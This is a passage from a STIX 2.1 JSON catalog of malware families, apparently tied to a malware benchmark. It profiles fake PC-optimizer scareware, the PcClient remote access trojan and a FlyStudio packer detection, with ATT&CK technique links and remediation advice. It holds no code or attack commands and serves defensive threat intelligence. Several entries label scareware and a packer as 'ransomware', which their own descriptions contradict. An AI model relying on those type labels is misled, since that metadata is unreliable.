      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleaners exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ade53f6-c110-5876-8665-fe030a8da7fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbd79c02-7d0c-571e-a03f-684a77b639f4",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleaners exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eaf927a3-5851-54e5-9d56-322567aa1758",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbd79c02-7d0c-571e-a03f-684a77b639f4",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleaners exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0e62ffb2-826f-5d85-8b9d-525227795191",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pccleaningutility",
      "description": "<h3>Executive Summary</h3>\n\"PC Cleaning Utility\" is a deceptive Potentially Unwanted Program (PUP) that operates as \"Rogue Security Software\" or a fake system optimizer. It employs classic scareware tactics, performing superficial or completely fabricated system \"scans\" to generate alarming false-positive reports about registry errors, malware infections, or impending hard drive failures. Its sole objective is to frighten the user into purchasing a \"premium license\" to fix the non-existent problems.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPC Cleaning Utility relies almost entirely on aggressive malvertising and deceptive software bundling. Users typically encounter it via alarming pop-up ads claiming their \"PC is critically slow\" or when downloading freeware from third-party aggregators, where the utility is installed silently in the background.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a rapid, fake \"scan\" of the system. It invariably reports hundreds of \"critical errors,\" creating a false sense of urgency and impending system failure.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants may employ locking tactics. They may disable the Task Manager or constantly overlay the screen with warnings, effectively holding the system hostage until the user pays the ransom (buys the \"license\").</li>\n<li><strong>Persistent Nagging:</strong> The software establishes persistence via registry `Run` keys and scheduled tasks, ensuring that even if the user closes the application, it repeatedly re-launches and interrupts workflow with purchase prompts.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, PC Cleaning Utility poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and the constant alarming pop-ups create severe disruption.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.PCCleaningUtility",
        "PUP.FakeOptimizer",
        "Scareware.Win32"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pccleaningutility",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pccleaningutility"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0182ca24-96a6-518f-8d68-c8d4ad986893",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e62ffb2-826f-5d85-8b9d-525227795191",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleaningutility exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3bc24b68-d775-582e-9afe-5453ac3c0d4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e62ffb2-826f-5d85-8b9d-525227795191",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleaningutility exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--512620f4-75bc-5a71-9bf3-5077b2b9db20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e62ffb2-826f-5d85-8b9d-525227795191",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleaningutility exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2dffe309-3a57-54f9-853d-7ebcea5c7ebe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pccleanplus",
      "description": "<h3>Executive Summary</h3>\nPCCleanPlus (often detected as Rogue.PCCleanPlus or PUP.FakeOptimizer) is a deceptive Potentially Unwanted Program (PUP) operating as \"Rogue Security Software\" or a fake system optimizer. It employs classic scareware tactics, performing superficial system \"scans\" to generate alarming false-positive reports about critical registry errors, outdated drivers, or severe fragmentation. Its sole objective is to frighten the user into purchasing a \"premium license\" to fix these non-existent problems.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPCCleanPlus relies almost entirely on aggressive malvertising and deceptive software bundling. Users typically encounter it via alarming browser pop-ups claiming their \"PC is critically slow\" or when downloading freeware from third-party aggregators, where the utility is installed silently alongside the desired software.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a fake \"scan\" of the system. It invariably reports hundreds of \"critical system errors\" or \"privacy risks,\" creating a false sense of urgency and impending system instability.</li>\n<li><strong>System Hostage (Nagging):</strong> While not a screen-locker, it establishes aggressive persistence via registry `Run` keys and scheduled tasks, ensuring that it repeatedly interrupts workflow with high-pressure purchase prompts demanding credit card information.</li>\n<li><strong>Uninstallation Friction:</strong> The software often makes it deliberately difficult for the user to uninstall it via the standard Windows Control Panel, sometimes attempting to reinstall itself if the core registry keys are not properly deleted.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, PCCleanPlus poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and users may unwittingly hand over valid credit card details to cybercriminals.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus sometimes ignores PUPs. Utilize a reputable enterprise anti-malware solution specifically tuned for Rogue Software and Scareware removal (e.g., Malwarebytes) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Manual Registry Cleanup:</strong> If automated removal fails, IT administrators may need to manually remove the orphaned registry keys in `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` that are forcing the software to launch.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.PCCleanPlus",
        "PUP.FakeOptimizer",
        "Scareware.PCClean"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pccleanplus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pccleanplus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdafb179-5aa6-5c17-aae8-f1d6d2375bc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2dffe309-3a57-54f9-853d-7ebcea5c7ebe",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleanplus exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11a4a04a-d1d8-5e51-8360-41a8aee7eb22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2dffe309-3a57-54f9-853d-7ebcea5c7ebe",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleanplus exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5b43869-061c-5700-895e-57eaf2d3dae9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2dffe309-3a57-54f9-853d-7ebcea5c7ebe",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleanplus exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--58d3b7e2-03b9-5b24-aa0a-bfa47196d464",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pccleanup",
      "description": "Adware:Win32/Pccleanup is a classic example of 'Rogueware' or a Fake System Optimizer. It operates on a model of deception and extortion. While masquerading as a legitimate utility to clean the registry and speed up the computer, its actual function is to generate fabricated, alarming error reports to scare the user into purchasing a 'premium' license to fix non-existent problems (`T1189`).<br><br><b>Understanding Pccleanup (Fake Optimizers)</b><br>To an end-user, the software creates immense anxiety, constantly warning that the computer is 'Critically Damaged' or 'Infected'. For an IT department, Pccleanup is a nuisance that generates false helpdesk tickets and often bundles secondary adware. The software itself is largely useless, and its registry 'cleaning' can sometimes cause actual system instability.<br><br><b>Execution and Deception Mechanics</b><br>Pccleanup is heavily distributed via aggressive affiliate marketing, pop-up ads claiming the user's PC is slow, or bundled with freeware. Upon execution, it performs a rapid 'scan' that is guaranteed to find hundreds or thousands of 'errors' (which are often just temporary files, benign registry keys, or completely fabricated entries). It establishes persistence via Scheduled Tasks (`T1053.005`) to ensure the scary pop-up warnings appear every time the computer boots. It often disables the Windows Task Manager or Registry Editor to prevent the user from easily removing it (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily financial fraud (tricking the user into paying) and psychological manipulation. Host-based IoCs include the presence of the highly visible Pccleanup application, unexpected Scheduled Tasks designed to run the scanner at boot, and unauthorized modifications to system policies restricting access to administrative tools. Network IoCs include constant connections to the software vendor's payment gateways and affiliate tracking networks. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pccleanup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pccleanup"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3499b467-c017-5c15-b89f-d40712fd578e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58d3b7e2-03b9-5b24-aa0a-bfa47196d464",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleanup exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive pop-up ads and bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdf5f65e-7e62-52df-86a3-dfee72af2d19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58d3b7e2-03b9-5b24-aa0a-bfa47196d464",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleanup exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Ensuring the fake scanner runs constantly))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c057942-f442-5e56-9cf2-a92e88b2c96f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58d3b7e2-03b9-5b24-aa0a-bfa47196d464",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleanup exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling taskmgr to prevent termination))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ca7616e2-27ff-5edd-a0b2-74b53055f0f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcclient",
      "description": "PcClient (classified across threat intelligence repositories under signatures including Backdoor:Win32/PcClient, Trojan:Win32/PcClient, and linked to the prolific Chinese open-source remote access trojan framework PcShare) is a landmark Windows remote access trojan and backdoor active since 2008. Widely adopted by diverse Chinese cyber espionage groups (including APT threat actors) and cybercriminal syndicates, PcClient provides extensive remote administration and surveillance capabilities. Once executed, PcClient installs persistence by creating a background service or registry Run key, connects to remote command-and-control servers using custom binary protocols, and provides operators with interactive command shell access, real-time desktop screen monitoring, keyboard logging, file uploading and downloading, process manipulation, and SOCKS proxy pivoting across compromised internal corporate networks. (Observed samples in benchmark: 31)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/PcClient",
        "Trojan:Win32/PcClient",
        "Backdoor.Win32.PcClient",
        "Win32/PcClient",
        "PcShare RAT",
        "Backdoor.PcClient"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcclient",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcclient"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0da14cdd-c607-5896-b2e9-2e35600704a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcfixer",
      "description": "Rogue:Win32/Pcfixer (and similar variants) represents a classic example of **'Scareware' or Fake System Optimizers**. It is a deceptive program that masquerades as a legitimate Windows utility, antivirus, or registry cleaner. Its sole purpose is to perform a fabricated 'scan' of the system, report hundreds of non-existent critical errors or malware infections, and then aggressively demand that the user purchase a license to 'fix' the problems it just invented.<br><br><b>Understanding Pcfixer (Scareware)</b><br>To an end-user, Pcfixer is highly alarming. It utilizes deceptive UI design, flashing warning icons, and alarming language (e.g., 'CRITICAL SYSTEM FAILURE IMMINENT') to induce panic. It preys on the user's lack of technical knowledge. For a security analyst, Pcfixer is considered a Potentially Unwanted Program (PUP) or Rogue software. While it generally does not encrypt files or steal credentials like a true trojan, it significantly degrades the user experience and represents a successful social engineering attack.<br><br><b>Execution and Deception Mechanics</b><br>Pcfixer is typically distributed via deceptive web advertisements (malvertising), fake software update pop-ups, or bundled tightly with free software downloaded from unverified portals (`T1189`). Upon installation (`T1204.002`), it establishes persistence via the Registry Run keys to ensure it launches every time the computer boots (`T1547.001`). The software then initiates its fake scan, intentionally flagging benign temporary files or standard registry keys as 'Severe Threats'. It constantly generates intrusive pop-up notifications from the system tray (`T1491.001`). To further coerce the user, it may intentionally slow down the computer or block the execution of legitimate administrative tools (like Task Manager or Registry Editor), claiming those tools are 'infected', until the user inputs credit card information into its built-in payment portal.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss (fraudulent software purchase) and a severely degraded system. Host-based IoCs are obvious: the presence of a highly aggressive, unknown 'optimization' program launching on boot, constant system tray warnings, and the inability to run standard Windows troubleshooting tools. Network IoCs involve traffic to the rogue software's payment processing domains. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcfixer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcfixer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11b41eac-2d2c-55ed-b9d5-e2f62be8fb1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0da14cdd-c607-5896-b2e9-2e35600704a6",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcfixer exhibits technique T1491.001 (Defacement: Internal Defacement (Fake alert pop-ups and UI))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f55a99f-edb4-5439-acab-cebe3e427ac3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0da14cdd-c607-5896-b2e9-2e35600704a6",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcfixer exhibits technique T1204.002 (User Execution: Malicious File (User tricked into installing the software))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09747e8c-c553-5b41-b1e6-50d06f58fd99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0da14cdd-c607-5896-b2e9-2e35600704a6",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcfixer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking Task Manager/Regedit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39750838-9170-5c7e-a0eb-15c0dcd7f8e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0da14cdd-c607-5896-b2e9-2e35600704a6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcfixer exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--22164d5b-73ce-5670-8c30-3c8bc912ff17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pchealthboost",
      "description": "<h3>Executive Summary</h3>\nPC HealthBoost is a deceptive Potentially Unwanted Program (PUP) that operates as \"Rogue Security Software\" or a fake system optimizer. It employs classic scareware tactics, performing superficial or completely fabricated system \"scans\" to generate alarming false-positive reports about registry errors, malware infections, or impending hard drive failures. Its sole objective is to frighten the user into purchasing a \"premium license\" to fix the non-existent problems.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPC HealthBoost relies almost entirely on aggressive malvertising and deceptive software bundling. Users typically encounter it via alarming pop-up ads claiming their \"PC is critically slow\" or when downloading freeware from third-party aggregators, where PC HealthBoost is installed silently in the background.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a rapid, fake \"scan\" of the system. It invariably reports hundreds of \"critical errors,\" creating a false sense of urgency and impending system failure.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants may employ locking tactics. They may disable the Task Manager or constantly overlay the screen with warnings, effectively holding the system hostage until the user pays the ransom (buys the \"license\").</li>\n<li><strong>Persistent Nagging:</strong> The software establishes persistence via registry `Run` keys and scheduled tasks, ensuring that even if the user closes the application, it repeatedly re-launches and interrupts workflow with purchase prompts.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, PC HealthBoost poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and the constant alarming pop-ups create severe disruption.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.PCHealthBoost",
        "PUP.FakeOptimizer",
        "Scareware.Win32"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pchealthboost",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pchealthboost"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c746da22-507d-504f-b382-e50b80232da4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22164d5b-73ce-5670-8c30-3c8bc912ff17",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pchealthboost exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96e3563e-8cad-529b-a1f4-34df4c0952eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22164d5b-73ce-5670-8c30-3c8bc912ff17",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pchealthboost exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5eaa1c6-5418-5048-9e53-fbeae7a9413d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22164d5b-73ce-5670-8c30-3c8bc912ff17",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pchealthboost exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--167449fc-4822-5df5-a410-33a507c9b921",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pckdflystudio",
      "description": "<h3>Executive Summary</h3>\nPckdflystudio is a heuristic detection name indicating that an executable file has been compressed or obfuscated using FlyStudio, a known software packer and compiler. While FlyStudio itself is a utility and not inherently malicious, it is overwhelmingly favored by malware authors to hide the true intent of their payloads (Trojans, stealers, ransomware) from static antivirus analysis.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPckdflystudio is not the malware itself; it is the \"envelope\" protecting the malware. Files packed with this utility are distributed via standard attack vectors: spear-phishing emails with weaponized attachments, exploit kits, or dropped as secondary payloads by initial access brokers.\n\nUpon execution, the packed executable performs a critical bootstrapping process:\n<ul>\n<li><strong>Memory Unpacking (The Stub):</strong> The visible part of the file is a small \"stub\" program. When run, this stub allocates memory, decrypts/decompresses the hidden malicious payload, and loads it directly into RAM, bypassing the hard drive (fileless execution).</li>\n<li><strong>Evasion through Obfuscation:</strong> The primary purpose of packing with FlyStudio is to alter the file's hash and hide the Windows APIs the malware intends to use. This makes it impossible for security researchers and static AV engines to determine the file's intent without first unpacking it.</li>\n<li><strong>Payload Execution:</strong> Once unpacked in memory, the true malware payload executes. This could be anything from a silent credential harvester to a destructive ransomware variant.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a file packed with FlyStudio (especially in a corporate environment) is a high-confidence indicator of malicious intent. Legitimate commercial software rarely uses aggressive, obscure packers. Its presence indicates a deliberate attempt to evade security controls.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Because the static file is obfuscated, eradication relies on Endpoint Detection and Response (EDR) solutions that monitor the *behavior* of the process once it unpacks in memory and begins executing its malicious payload (e.g., injecting into other processes, modifying the registry).</li>\n<li><strong>Isolation and Forensic Extraction:</strong> Isolate the endpoint. Do not simply delete the packed file; provide it to a malware analyst or sandbox environment where it can be executed in a controlled environment to allow the payload to unpack itself, at which point the true malware can be identified.</li>\n<li><strong>Complete Re-imaging:</strong> Given that the underlying payload was explicitly designed for evasion, the safest remediation strategy following a successful execution is a complete bare-metal wipe and re-image from a trusted corporate baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Packer.FlyStudio",
        "Suspicious.Packed",
        "Win32/Packed.FlyStudio"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pckdflystudio",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pckdflystudio"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae222905-0e86-5b23-99e9-b16197128286",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167449fc-4822-5df5-a410-33a507c9b921",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pckdflystudio exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a78fdaa8-25d1-5672-a4ed-f848aeaca454",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167449fc-4822-5df5-a410-33a507c9b921",
      "target_ref": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pckdflystudio exhibits technique T1140 (Deobfuscate/Decode Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
